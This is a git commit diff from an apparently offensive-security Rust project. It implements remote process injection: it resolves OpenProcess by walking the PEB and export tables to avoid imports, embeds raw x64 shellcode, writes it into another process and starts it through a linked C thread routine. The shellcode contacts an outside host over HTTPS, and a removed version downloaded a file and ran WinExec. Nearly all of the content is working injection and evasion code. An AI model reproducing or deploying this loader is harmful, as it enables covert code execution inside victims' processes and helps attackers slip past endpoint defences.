c ffi direct syscall for injection

This commit is contained in:
flux
2024-07-07 17:12:31 +01:00
parent 93f108b934
commit c211f2e840
5 changed files with 419 additions and 65 deletions
Binary file not shown.
+4
View File
@@ -0,0 +1,4 @@
fn main() {
println!("cargo:rustc-link-search=native=lib");
println!("cargo:rustc-link-lib=static=libcreate_thread");
}
Binary file not shown.
+106 -65
View File
@@ -1,52 +1,85 @@
use std::{arch::asm, env, ffi::c_void, fs::File, io::Read, mem::transmute, process::exit, ptr::{self, null, null_mut}};
use anyhow::Result;
use windows::Win32::{Foundation::GetLastError, System::{Diagnostics::Debug::WriteProcessMemory, Memory::{VirtualAlloc, VirtualAllocEx, VirtualFree, VirtualProtectEx, MEM_COMMIT, MEM_RELEASE, MEM_RESERVE, PAGE_EXECUTE_READ, PAGE_EXECUTE_READWRITE, PAGE_READWRITE}, Threading::{CreateRemoteThread, OpenProcess, PROCESS_ALL_ACCESS, PROCESS_VM_OPERATION, PROCESS_VM_WRITE}}};
use windows::Win32::{Foundation::{GetLastError}, System::{Diagnostics::Debug::WriteProcessMemory, Memory::{VirtualAlloc, VirtualAllocEx, VirtualFree, VirtualProtectEx, MEM_COMMIT, MEM_RELEASE, MEM_RESERVE, PAGE_EXECUTE_READ, PAGE_EXECUTE_READWRITE, PAGE_READWRITE}, Threading::{CreateRemoteThread, OpenProcess, PROCESS_ALL_ACCESS, PROCESS_VM_OPERATION, PROCESS_VM_WRITE}}};
use resolver::{get_function_from_exports, BOOL, DWORD, HANDLE, LONG, LPCSTR, LPSTR, PVOID, WORD};
mod resolver;
pub type OpenProcessFFI = extern "system" fn(dwDesiredAccess: DWORD, bInheritHandle: BOOL, dwProcessId: DWORD) -> HANDLE;
#[link(name = "msvcrt")] extern {}
#[link(name = "libcreate_thread", kind = "static")]
extern "C" {
fn start_thread(base_address: *mut c_void, handle: HANDLE) -> u32;
}
fn main() {
// let payload = match read_shellcode_file() {
// Ok(s) => s,
// Err(e) => panic!("[-] Unable to read shellcode from file: {e}"),
// };
let payload: [u8; 830] = [
0xe9,0x6c,0x02,0x00,0x00,0x11,0x00,0x00,0x18,0x13,0x00,0x00,0x91,0x11,0x00,0x00,0x71,0x12,0x00,0x00,0x20,0x13,
0x00,0x00,0x71,0x12,0x00,0x00,0x18,0x13,0x00,0x00,0x34,0x13,0x00,0x00,0x4b,0x00,0x45,0x00,0x52,0x00,0x4e,0x00,
0x45,0x00,0x4c,0x00,0x33,0x00,0x32,0x00,0x2e,0x00,0x44,0x00,0x4c,0x00,0x4c,0x00,0x00,0x00,0x57,0x69,0x6e,0x45,
0x78,0x65,0x63,0x00,0x4c,0x6f,0x61,0x64,0x4c,0x69,0x62,0x72,0x61,0x72,0x79,0x41,0x00,0x00,0x75,0x00,0x72,0x00,
0x6c,0x00,0x6d,0x00,0x6f,0x00,0x6e,0x00,0x2e,0x00,0x64,0x00,0x6c,0x00,0x6c,0x00,0x00,0x00,0x75,0x72,0x6c,0x6d,
0x6f,0x6e,0x2e,0x64,0x6c,0x6c,0x00,0x55,0x52,0x4c,0x44,0x6f,0x77,0x6e,0x6c,0x6f,0x61,0x64,0x54,0x6f,0x46,0x69,
0x6c,0x65,0x41,0x00,0x68,0x74,0x74,0x70,0x73,0x3a,0x2f,0x2f,0x66,0x6c,0x75,0x78,0x73,0x65,0x63,0x2e,0x72,0x65,
0x64,0x2f,0x73,0x69,0x74,0x65,0x6d,0x61,0x70,0x2e,0x78,0x6d,0x6c,0x00,0x43,0x3a,0x5c,0x55,0x73,0x65,0x72,0x73,
0x5c,0x69,0x61,0x6e,0x5c,0x67,0x69,0x74,0x5c,0x72,0x75,0x73,0x74,0x5f,0x73,0x68,0x65,0x6c,0x6c,0x63,0x6f,0x64,
0x65,0x5c,0x73,0x68,0x65,0x6c,0x6c,0x63,0x6f,0x64,0x65,0x5c,0x74,0x65,0x73,0x74,0x5f,0x66,0x69,0x6c,0x65,0x5f,
0x32,0x2e,0x78,0x6d,0x6c,0x00,0x63,0x61,0x6c,0x63,0x2e,0x65,0x78,0x65,0x00,0x00,0x18,0x00,0x00,0x00,0x00,0x80,
0x00,0x80,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x56,0x65,0x48,0x8b,
0x14,0x25,0x60,0x00,0x00,0x00,0x4c,0x8b,0x42,0x18,0x49,0x8b,0x40,0x10,0x48,0x89,0xc2,0x4c,0x8b,0x42,0x60,0x4d,
0x85,0xc0,0x74,0x5a,0x66,0x83,0x7a,0x58,0x00,0x74,0x53,0x49,0xc7,0xc2,0xff,0xff,0xff,0xff,0x45,0x31,0xdb,0x4d,
0x89,0xd9,0x66,0x42,0x83,0x7c,0x51,0x02,0x00,0x4d,0x8d,0x52,0x01,0x4d,0x8d,0x5b,0x01,0x75,0xec,0x49,0xc7,0xc3,
0xff,0xff,0xff,0xff,0x66,0x43,0x83,0x7c,0x58,0x02,0x00,0x4d,0x8d,0x5b,0x01,0x75,0xf3,0x4d,0x39,0xda,0x75,0x1c,
0x45,0x31,0xd2,0x49,0x83,0xe9,0x01,0x72,0x22,0x46,0x0f,0xb7,0x1c,0x11,0x49,0x8d,0x72,0x02,0x66,0x47,0x3b,0x1c,
0x10,0x49,0x89,0xf2,0x74,0xe7,0x48,0x8b,0x12,0x48,0x39,0xc2,0x75,0x95,0xb8,0x78,0x56,0x34,0x12,0xeb,0x04,0x48,
0x8b,0x42,0x30,0x5e,0xc3,0x41,0x57,0x41,0x56,0x41,0x54,0x56,0x57,0x55,0x53,0xb8,0x21,0x43,0x65,0x87,0x66,0x81,
0x39,0x4d,0x5a,0x0f,0x85,0xb4,0x00,0x00,0x00,0x8b,0x41,0x3c,0x44,0x8b,0x8c,0x01,0x88,0x00,0x00,0x00,0x46,0x8b,
0x44,0x09,0x18,0x42,0x8b,0x44,0x09,0x1c,0x46,0x8b,0x54,0x09,0x20,0x46,0x8b,0x4c,0x09,0x24,0x45,0x31,0xff,0x4d,
0x39,0xc7,0x0f,0x84,0x94,0x00,0x00,0x00,0x49,0x8d,0x77,0x01,0x45,0x89,0xfb,0x43,0x8d,0x3c,0x9a,0x8b,0x3c,0x39,
0x80,0x3c,0x39,0x00,0x49,0x89,0xf7,0x74,0xe0,0x48,0x01,0xcf,0x49,0xc7,0xc6,0xff,0xff,0xff,0xff,0x45,0x31,0xff,
0x4c,0x89,0xfb,0x42,0x80,0x7c,0x32,0x01,0x00,0x4d,0x8d,0x76,0x01,0x4d,0x8d,0x7f,0x01,0x75,0xed,0x49,0xc7,0xc4,
0xff,0xff,0xff,0xff,0x42,0x80,0x7c,0x27,0x01,0x00,0x4d,0x8d,0x64,0x24,0x01,0x75,0xf3,0x49,0x89,0xf7,0x4d,0x39,
0xe6,0x75,0xa4,0x45,0x31,0xf6,0x48,0x83,0xeb,0x01,0x72,0x16,0x42,0x8a,0x2c,0x32,0x4d,0x8d,0x7e,0x01,0x42,0x3a,
0x2c,0x37,0x4d,0x89,0xfe,0x74,0xe9,0x49,0x89,0xf7,0xeb,0x85,0x43,0x8d,0x14,0x59,0x0f,0xb7,0x14,0x11,0x81,0xe2,
0xff,0x3f,0x00,0x00,0x8d,0x04,0x90,0x8b,0x04,0x01,0x48,0x01,0xc8,0x5b,0x5d,0x5f,0x5e,0x41,0x5c,0x41,0x5e,0x41,
0x5f,0xc3,0xb8,0x44,0x33,0x22,0x11,0xeb,0xee,0x56,0x57,0x48,0x83,0xec,0x28,0x48,0xc7,0xc1,0x00,0x00,0x00,0x00,
0x48,0xc7,0xc2,0x00,0x00,0x00,0x00,0x48,0x8d,0x0d,0x98,0xfd,0xff,0xff,0xe8,0x73,0xfe,0xff,0xff,0x48,0x89,0xc6,
0x48,0x8d,0x15,0xa3,0xfd,0xff,0xff,0x48,0x89,0xc1,0xe8,0xee,0xfe,0xff,0xff,0x48,0x89,0xc7,0x48,0x8d,0x15,0x99,
0xfd,0xff,0xff,0x48,0x89,0xf1,0xe8,0xdc,0xfe,0xff,0xff,0x48,0x8d,0x0d,0xae,0xfd,0xff,0xff,0xff,0xd0,0x48,0x8d,
0x0d,0x8f,0xfd,0xff,0xff,0xe8,0x3a,0xfe,0xff,0xff,0x48,0x8d,0x15,0xa4,0xfd,0xff,0xff,0x48,0x89,0xc1,0xe8,0xb8,
0xfe,0xff,0xff,0x48,0x83,0x64,0x24,0x20,0x00,0x48,0x8d,0x15,0xa2,0xfd,0xff,0xff,0x4c,0x8d,0x05,0xbb,0xfd,0xff,
0xff,0x31,0xc9,0x45,0x31,0xc9,0xff,0xd0,0x85,0xc0,0x74,0x08,0xcc,0x48,0x83,0xc4,0x28,0x5f,0x5e,0xc3,0x48,0x8d,
0x0d,0xdb,0xfd,0xff,0xff,0xba,0x01,0x00,0x00,0x00,0x48,0x89,0xf8,0x48,0x83,0xc4,0x28,0x5f,0x5e,0x48,0xff,0xe0,
0x01,0x01,0x01,0x00,0x01,0x60,0x00,0x00,0x01,0x0a,0x07,0x00,0x0a,0x30,0x09,0x50,0x08,0x70,0x07,0x60,0x06,0xc0,
0x04,0xe0,0x02,0xf0,0x00,0x00,0x01,0x06,0x03,0x00,0x06,0x42,0x02,0x70,0x01,0x60
let k32: &[u16] = &[
'K' as u16,
'E' as u16,
'R' as u16,
'N' as u16,
'E' as u16,
'L' as u16,
'3' as u16,
'2' as u16,
'.' as u16,
'D' as u16,
'L' as u16,
'L' as u16,
0u16,
];
let k32_base_addr = resolver::get_dll_base(k32.as_ptr());
let OpenProcessFFI = get_function_from_exports(k32_base_addr, "OpenProcess\0".as_ptr());
let OpenProcessFFI: OpenProcessFFI = unsafe {transmute(OpenProcessFFI)};
// makes a http get request to my blog and reads the content of the response
let payload: [u8; 1536] = [
0xe9,0xb0,0x02,0x00,0x00,0x11,0x00,0x00,0xe4,0x14,0x00,0x00,0xd5,0x11,0x00,0x00,0xb5,0x12,0x00,0x00,0xec,0x14,0x00,0x00,0xb5,0x12,0x00,0x00,0xe2,0x14,0x00,0x00,0x00,0x15,0x00,0x00,0x4b,
0x00,0x45,0x00,0x52,0x00,0x4e,0x00,0x45,0x00,0x4c,0x00,0x33,0x00,0x32,0x00,0x2e,0x00,0x44,0x00,0x4c,0x00,0x4c,0x00,0x00,0x00,0x57,0x69,0x6e,0x45,0x78,0x65,0x63,0x00,0x4c,0x6f,0x61,0x64,
0x4c,0x69,0x62,0x72,0x61,0x72,0x79,0x41,0x00,0x00,0x77,0x00,0x69,0x00,0x6e,0x00,0x69,0x00,0x6e,0x00,0x65,0x00,0x74,0x00,0x2e,0x00,0x64,0x00,0x6c,0x00,0x6c,0x00,0x00,0x00,0x75,0x72,0x6c,
0x6d,0x6f,0x6e,0x2e,0x64,0x6c,0x6c,0x00,0x77,0x69,0x6e,0x69,0x6e,0x65,0x74,0x2e,0x64,0x6c,0x6c,0x00,0x66,0x6c,0x75,0x78,0x20,0x73,0x65,0x63,0x00,0x66,0x6c,0x75,0x78,0x73,0x65,0x63,0x2e,
0x72,0x65,0x64,0x00,0x49,0x6e,0x74,0x65,0x72,0x6e,0x65,0x74,0x4f,0x70,0x65,0x6e,0x41,0x00,0x49,0x6e,0x74,0x65,0x72,0x6e,0x65,0x74,0x43,0x6f,0x6e,0x6e,0x65,0x63,0x74,0x41,0x00,0x48,0x74,
0x74,0x70,0x4f,0x70,0x65,0x6e,0x52,0x65,0x71,0x75,0x65,0x73,0x74,0x41,0x00,0x47,0x45,0x54,0x00,0x2f,0x73,0x69,0x74,0x65,0x6d,0x61,0x70,0x2e,0x78,0x6d,0x6c,0x00,0x48,0x74,0x74,0x70,0x53,
0x65,0x6e,0x64,0x52,0x65,0x71,0x75,0x65,0x73,0x74,0x41,0x00,0x49,0x6e,0x74,0x65,0x72,0x6e,0x65,0x74,0x51,0x75,0x65,0x72,0x79,0x44,0x61,0x74,0x61,0x41,0x76,0x61,0x69,0x6c,0x61,0x62,0x6c,
0x65,0x00,0x49,0x6e,0x74,0x65,0x72,0x6e,0x65,0x74,0x52,0x65,0x61,0x64,0x46,0x69,0x6c,0x65,0x00,0x57,0x72,0x69,0x74,0x65,0x46,0x69,0x6c,0x65,0x00,0x47,0x65,0x74,0x53,0x74,0x64,0x48,0x61,
0x6e,0x64,0x6c,0x65,0x00,0x00,0x00,0x00,0x18,0x00,0x00,0x00,0x00,0x80,0x00,0x80,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x56,0x65,0x48,0x8b,0x14,
0x25,0x60,0x00,0x00,0x00,0x4c,0x8b,0x42,0x18,0x49,0x8b,0x40,0x10,0x48,0x89,0xc2,0x4c,0x8b,0x42,0x60,0x4d,0x85,0xc0,0x74,0x5a,0x66,0x83,0x7a,0x58,0x00,0x74,0x53,0x49,0xc7,0xc2,0xff,0xff,
0xff,0xff,0x45,0x31,0xdb,0x4d,0x89,0xd9,0x66,0x42,0x83,0x7c,0x51,0x02,0x00,0x4d,0x8d,0x52,0x01,0x4d,0x8d,0x5b,0x01,0x75,0xec,0x49,0xc7,0xc3,0xff,0xff,0xff,0xff,0x66,0x43,0x83,0x7c,0x58,
0x02,0x00,0x4d,0x8d,0x5b,0x01,0x75,0xf3,0x4d,0x39,0xda,0x75,0x1c,0x45,0x31,0xd2,0x49,0x83,0xe9,0x01,0x72,0x22,0x46,0x0f,0xb7,0x1c,0x11,0x49,0x8d,0x72,0x02,0x66,0x47,0x3b,0x1c,0x10,0x49,
0x89,0xf2,0x74,0xe7,0x48,0x8b,0x12,0x48,0x39,0xc2,0x75,0x95,0xb8,0x78,0x56,0x34,0x12,0xeb,0x04,0x48,0x8b,0x42,0x30,0x5e,0xc3,0x41,0x57,0x41,0x56,0x41,0x54,0x56,0x57,0x55,0x53,0xb8,0x21,
0x43,0x65,0x87,0x66,0x81,0x39,0x4d,0x5a,0x0f,0x85,0xb4,0x00,0x00,0x00,0x8b,0x41,0x3c,0x44,0x8b,0x8c,0x01,0x88,0x00,0x00,0x00,0x46,0x8b,0x44,0x09,0x18,0x42,0x8b,0x44,0x09,0x1c,0x46,0x8b,
0x54,0x09,0x20,0x46,0x8b,0x4c,0x09,0x24,0x45,0x31,0xff,0x4d,0x39,0xc7,0x0f,0x84,0x94,0x00,0x00,0x00,0x49,0x8d,0x77,0x01,0x45,0x89,0xfb,0x43,0x8d,0x3c,0x9a,0x8b,0x3c,0x39,0x80,0x3c,0x39,
0x00,0x49,0x89,0xf7,0x74,0xe0,0x48,0x01,0xcf,0x49,0xc7,0xc6,0xff,0xff,0xff,0xff,0x45,0x31,0xff,0x4c,0x89,0xfb,0x42,0x80,0x7c,0x32,0x01,0x00,0x4d,0x8d,0x76,0x01,0x4d,0x8d,0x7f,0x01,0x75,
0xed,0x49,0xc7,0xc4,0xff,0xff,0xff,0xff,0x42,0x80,0x7c,0x27,0x01,0x00,0x4d,0x8d,0x64,0x24,0x01,0x75,0xf3,0x49,0x89,0xf7,0x4d,0x39,0xe6,0x75,0xa4,0x45,0x31,0xf6,0x48,0x83,0xeb,0x01,0x72,
0x16,0x42,0x8a,0x2c,0x32,0x4d,0x8d,0x7e,0x01,0x42,0x3a,0x2c,0x37,0x4d,0x89,0xfe,0x74,0xe9,0x49,0x89,0xf7,0xeb,0x85,0x43,0x8d,0x14,0x59,0x0f,0xb7,0x14,0x11,0x81,0xe2,0xff,0x3f,0x00,0x00,
0x8d,0x04,0x90,0x8b,0x04,0x01,0x48,0x01,0xc8,0x5b,0x5d,0x5f,0x5e,0x41,0x5c,0x41,0x5e,0x41,0x5f,0xc3,0xb8,0x44,0x33,0x22,0x11,0xeb,0xee,0x41,0x57,0x41,0x56,0x41,0x55,0x41,0x54,0x56,0x57,
0x55,0x53,0x48,0x83,0xec,0x58,0x48,0xc7,0xc1,0x00,0x00,0x00,0x00,0x48,0xc7,0xc2,0x00,0x00,0x00,0x00,0x48,0x83,0xe4,0xf0,0x48,0x8d,0x0d,0x46,0xfd,0xff,0xff,0xe8,0x65,0xfe,0xff,0xff,0x48,
0x89,0xc6,0x48,0x8d,0x15,0x51,0xfd,0xff,0xff,0x48,0x89,0xc1,0xe8,0xe0,0xfe,0xff,0xff,0x48,0x8d,0x15,0x4a,0xfd,0xff,0xff,0x48,0x89,0xf1,0xe8,0xd1,0xfe,0xff,0xff,0x48,0x89,0xc7,0x48,0x8d,
0x0d,0x5e,0xfd,0xff,0xff,0xff,0xd0,0x48,0x8d,0x0d,0x60,0xfd,0xff,0xff,0xff,0xd7,0x48,0x8d,0x0d,0x34,0xfd,0xff,0xff,0xe8,0x23,0xfe,0xff,0xff,0x48,0x89,0xc3,0x48,0x8d,0x15,0x69,0xfd,0xff,
0xff,0x48,0x89,0xc1,0xe8,0x9e,0xfe,0xff,0xff,0x83,0x64,0x24,0x20,0x00,0x48,0x8d,0x0d,0x40,0xfd,0xff,0xff,0x45,0x31,0xed,0xba,0x01,0x00,0x00,0x00,0x45,0x31,0xc0,0x45,0x31,0xc9,0xff,0xd0,
0x48,0x89,0xc7,0x48,0x8d,0x15,0x49,0xfd,0xff,0xff,0x48,0x89,0xd9,0xe8,0x70,0xfe,0xff,0xff,0x48,0x83,0x64,0x24,0x38,0x00,0x83,0x64,0x24,0x30,0x00,0xc7,0x44,0x24,0x28,0x03,0x00,0x00,0x00,
0x48,0x83,0x64,0x24,0x20,0x00,0x48,0x8d,0x15,0x07,0xfd,0xff,0xff,0x48,0x89,0xf9,0x66,0x41,0xb8,0xbb,0x01,0x45,0x31,0xc9,0xff,0xd0,0x48,0x89,0xc7,0x48,0x8d,0x15,0x1b,0xfd,0xff,0xff,0x48,
0x89,0xd9,0xe8,0x31,0xfe,0xff,0xff,0x48,0x83,0x64,0x24,0x38,0x00,0x48,0x83,0x64,0x24,0x28,0x00,0x48,0x83,0x64,0x24,0x20,0x00,0xc7,0x44,0x24,0x30,0x00,0x00,0x80,0x00,0x48,0x8d,0x15,0x03,
0xfd,0xff,0xff,0x4c,0x8d,0x05,0x00,0xfd,0xff,0xff,0x48,0x89,0xf9,0x45,0x31,0xc9,0xff,0xd0,0x48,0x89,0xc7,0x48,0x8d,0x15,0xfb,0xfc,0xff,0xff,0x48,0x89,0xd9,0xe8,0xef,0xfd,0xff,0xff,0x83,
0x64,0x24,0x20,0x00,0x48,0x89,0xf9,0x31,0xd2,0x45,0x31,0xc0,0x45,0x31,0xc9,0xff,0xd0,0x48,0x8d,0x15,0xeb,0xfc,0xff,0xff,0x48,0x89,0xd9,0xe8,0xce,0xfd,0xff,0xff,0x49,0x89,0xc7,0x48,0x8d,
0x15,0xf4,0xfc,0xff,0xff,0x48,0x89,0xd9,0xe8,0xbc,0xfd,0xff,0xff,0x48,0x89,0xc3,0x48,0x8d,0x15,0xf3,0xfc,0xff,0xff,0x48,0x89,0xf1,0xe8,0xaa,0xfd,0xff,0xff,0x49,0x89,0xc6,0x48,0x8d,0x15,
0xeb,0xfc,0xff,0xff,0x48,0x89,0xf1,0xe8,0x98,0xfd,0xff,0xff,0x48,0x83,0x64,0x24,0x50,0x00,0x48,0x89,0xc6,0x48,0x83,0x64,0x24,0x48,0x00,0x4c,0x8d,0x64,0x24,0x44,0x41,0x83,0x24,0x24,0x00,
0x48,0x89,0xf9,0x4c,0x89,0xe2,0x45,0x31,0xc0,0x45,0x31,0xc9,0x41,0xff,0xd7,0x45,0x8b,0x04,0x24,0x45,0x85,0xc0,0x74,0x72,0x4c,0x8d,0x7c,0x24,0x48,0x4c,0x8d,0x64,0x24,0x40,0x45,0x29,0xe8,
0x76,0x61,0x41,0x83,0xf8,0x10,0x72,0x06,0x41,0xb8,0x10,0x00,0x00,0x00,0x83,0x64,0x24,0x40,0x00,0x48,0x89,0xf9,0x4c,0x89,0xfa,0x4d,0x89,0xe1,0xff,0xd3,0xbd,0x9f,0x86,0x01,0x00,0x84,0xc0,
0x74,0x03,0x44,0x89,0xed,0xb9,0xf5,0xff,0xff,0xff,0xff,0xd6,0x48,0x83,0x64,0x24,0x20,0x00,0x48,0x89,0xc1,0x4c,0x89,0xfa,0x41,0xb8,0x10,0x00,0x00,0x00,0x45,0x31,0xc9,0x41,0xff,0xd6,0x48,
0x83,0x64,0x24,0x48,0x00,0x48,0x83,0x64,0x24,0x50,0x00,0x03,0x6c,0x24,0x40,0x44,0x8b,0x44,0x24,0x44,0x41,0x89,0xed,0xeb,0x9a,0xeb,0xfe,0xeb,0xfe,0xcc,0xcc,0x01,0x01,0x01,0x00,0x01,0x60,
0x00,0x00,0x01,0x0a,0x07,0x00,0x0a,0x30,0x09,0x50,0x08,0x70,0x07,0x60,0x06,0xc0,0x04,0xe0,0x02,0xf0,0x00,0x00,0x01,0x10,0x09,0x00,0x10,0xa2,0x0c,0x30,0x0b,0x50,0x0a,0x70,0x09,0x60,0x08,
0xc0,0x06,0xd0,0x04,0xe0,0x02,0xf0,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
];
let pid = collect_proc_addr();
@@ -93,20 +126,37 @@ fn main() {
// ####################################################
// INJECT VIA CREATE REMOTE THREAD
let result_createremotethread = CreateRemoteThread(
h_process,
None,
0,
transmute(remotememory_ptr),
None,
0,
None
// let result_createremotethread = CreateRemoteThread(
// h_process,
// None,
// 0,
// transmute(remotememory_ptr),
// None,
// 0,
// None
// );
// match result_createremotethread {
// Ok(_) => println!("[+] Thread created"),
// Err(e) => eprintln!("[-] Error creating thread {e}"),
// }
// re open process but via fn pointer
let h_ffi_proc = OpenProcessFFI(
PROCESS_ALL_ACCESS.0,
0,
pid,
);
match result_createremotethread {
Ok(_) => println!("[+] Thread created"),
Err(e) => eprintln!("[-] Error creating thread {e}"),
}
println!("[i] Base address: {:p}", remotememory_ptr as *mut c_void);
println!("[i] Handle to the process: {:p}", h_ffi_proc);
let result = start_thread(
remotememory_ptr as *mut c_void,
h_ffi_proc,
);
println!("[i] Result of thread: {}", result);
}
}
@@ -123,13 +173,4 @@ fn collect_proc_addr() -> u32 {
let pid_as_int: u32 = pid.parse().unwrap();
pid_as_int
}
/// If not hard coding shellcode, read from specified file.
fn read_shellcode_file() -> Result<Vec<u8>> {
let mut shellcode_file = File::open(r"C:\Users\ian\git\rust_shellcode\builder\output\shellcode.bin")?;
let mut shellcode_buffer = Vec::new();
shellcode_file.read_to_end(&mut shellcode_buffer)?;
Ok(shellcode_buffer)
}
+309
View File
@@ -0,0 +1,309 @@
use core::{arch::asm, ops::Add};
#[allow(non_snake_case)]
#[allow(non_camel_case_types)]
#[link(name = "vcruntime")] extern {}
pub extern "system" fn get_dll_base(module_name: *const u16) -> *const c_void {
let mut peb: usize;
let mut ldr: usize;
let mut in_memory_order_module_list: usize;
let mut current_entry: usize;
unsafe {
// get the peb and module list
asm!(
"mov {peb}, gs:[0x60]",
"mov {ldr}, [{peb} + 0x18]",
"mov {in_memory_order_module_list}, [{ldr} + 0x10]", // points to the Flink
peb = out(reg) peb,
ldr = out(reg) ldr,
in_memory_order_module_list = out(reg) in_memory_order_module_list,
);
// set the current entry to the head of the list
current_entry = in_memory_order_module_list;
// iterate the modules searching for
loop {
// get the attributes we are after of the current entry
let dll_base = *(current_entry.add(0x30) as *const usize);
let module_name_address = *(current_entry.add(0x60) as *const usize);
let module_length = *(current_entry.add(0x58) as *const u16);
// check if the module name address is valid and not zero
if module_name_address != 0 && module_length > 0 {
let cur_name = core::slice::from_raw_parts(module_name_address as *const u16, (module_length / 2) as usize) as *const _ as *const u16;
if raw_eq(module_name, cur_name) {
return dll_base as PVOID;
}
}
// dereference current_entry which contains the value of the next LDR_DATA_TABLE_ENTRY (specifically a pointer to LIST_ENTRY
// within the next LDR_DATA_TABLE_ENTRY)
current_entry = *(current_entry as *const usize);
// If we have looped back to the start, break
if current_entry == in_memory_order_module_list {
// using 12345678 as a marker for it gone wrong
return 0x12345678 as *const c_void;
}
}
}
}
/// Get the function address from the givin module DLL base
pub extern "system" fn get_function_from_exports(dll_base: *const c_void, needle: *const u8) -> *const c_void {
unsafe {
// cast the dos header
let dos_header = &*(dll_base as *const IMAGE_DOS_HEADER);
if (*dos_header).e_magic != IMAGE_DOS_SIGNATURE {
return 0x87654321 as *const c_void;
}
// get us to the export directory
let e_lfanew = (*dos_header).e_lfanew;
let nt_headers = (dll_base as *const u8).offset(e_lfanew as isize) as *const IMAGE_NT_HEADERS64;
let optional_headers = &(*nt_headers).OptionalHeader;
let virtual_addr = (&optional_headers.DataDirectory[0]).VirtualAddress;
let export_dir: *const IMAGE_EXPORT_DIRECTORY = (dll_base as *const u8).offset(virtual_addr as _) as _;
// get the location of each list
let number_of_names = (*export_dir).NumberOfNames;
let addr_of_funcs = (*export_dir).AddressOfFunctions;
let addr_of_names = (*export_dir).AddressOfNames;
let addr_of_ords = (*export_dir).AddressOfNameOrdinals;
// iterate through each export, looking for our chosen
for i in 0..number_of_names {
let p_name_rva: *const DWORD = (dll_base as *const u8).offset((addr_of_names + i * 4) as isize) as *const _;
let p_name_index: *const WORD = (dll_base as *const u8).offset((addr_of_ords + i * 2) as isize) as *const _;
let name_index = p_name_index.as_ref().unwrap();
let mut offset: u32 = (4 * name_index) as u32;
offset = offset + addr_of_funcs;
let func_rva: *const DWORD = (dll_base as *const u8).offset(offset as _) as *const _;
let name_rva = p_name_rva.as_ref().unwrap();
let curr_name = (dll_base as *const u8).offset(*name_rva as isize);
if *curr_name == 0 {
continue;
}
if raw_eq(needle, curr_name) {
let res = (dll_base as *const u8).offset(*func_rva as isize);
return res as *const c_void;
}
}
}
0x11223344 as *const c_void
}
pub fn raw_eq<T>(s: *const T, u: *const T) -> bool
where
T: PartialEq + Default,
{
unsafe {
// calculate the length of the first string (s)
let s_len = (0..).take_while(|&i| *s.offset(i) != T::default()).count();
let s_slice = core::slice::from_raw_parts(s, s_len);
// calculate the length of the second string (u)
let u_len = (0..).take_while(|&i| *u.offset(i) != T::default()).count();
let u_slice = core::slice::from_raw_parts(u, u_len);
// compare lengths
if s_len != u_len {
return false;
}
// compare content
for i in 0..s_len {
// bounds check on u; shouldn't matter actually, but leaving for safety
if i > u_len {
return false;
}
// compare each char in the string
if s_slice[i] != u_slice[i] {
return false;
}
}
// matched
true
}
}
// types
pub type USHORT = u16;
pub type PWCH = *mut u16;
pub type BYTE = u8;
pub type BOOL = BYTE;
pub type HANDLE = *mut c_void;
pub type PVOID = *mut c_void;
pub type ULONG = u32;
pub enum c_void {}
pub type LPSTR = *mut i8;
pub type LPCSTR = *const i8;
pub type DWORD = u32;
pub type WORD = u16;
pub type LONG = u32;
pub type ULONGLONG = u64;
#[repr(C)]
pub struct PEB {
pub Reserved1: [u8; 2],
pub BeingDebugged: u8,
pub Reserved2: [u8; 1],
pub Reserved3: [*mut c_void; 2],
pub Ldr: *mut PEB_LDR_DATA,
pub ProcessParameters: *mut RTL_USER_PROCESS_PARAMETERS,
pub Reserved4: [*mut c_void; 3],
}
#[repr(C)]
struct PEB_LDR_DATA {
Length: ULONG,
Initialized: BOOL,
SsHandle: HANDLE,
InLoadOrderModuleList: LIST_ENTRY,
// ...
}
#[repr(C)]
struct RTL_USER_PROCESS_PARAMETERS {
MaximumLength: ULONG,
Length: ULONG,
Flags: ULONG,
DebugFlags: ULONG,
ConsoleHandle: HANDLE,
ConsoleFlags: ULONG,
StandardInput: HANDLE,
StandardOutput: HANDLE,
StandardError: HANDLE,
}
#[repr(C)]
struct LIST_ENTRY {
pub Flink: *mut LIST_ENTRY,
pub Blink: *mut LIST_ENTRY,
}
#[repr(C)]
struct LDR_DATA_TABLE_ENTRY {
InLoadOrderModuleList: LIST_ENTRY,
InMemoryOrderModuleList: LIST_ENTRY,
InInitializationOrderModuleList: LIST_ENTRY,
BaseAddress: PVOID,
EntryPoint: PVOID,
SizeOfImage: ULONG,
FullDllName: UNICODE_STRING,
BaseDllName: UNICODE_STRING,
}
#[repr(C)]
struct UNICODE_STRING {
pub Length: USHORT,
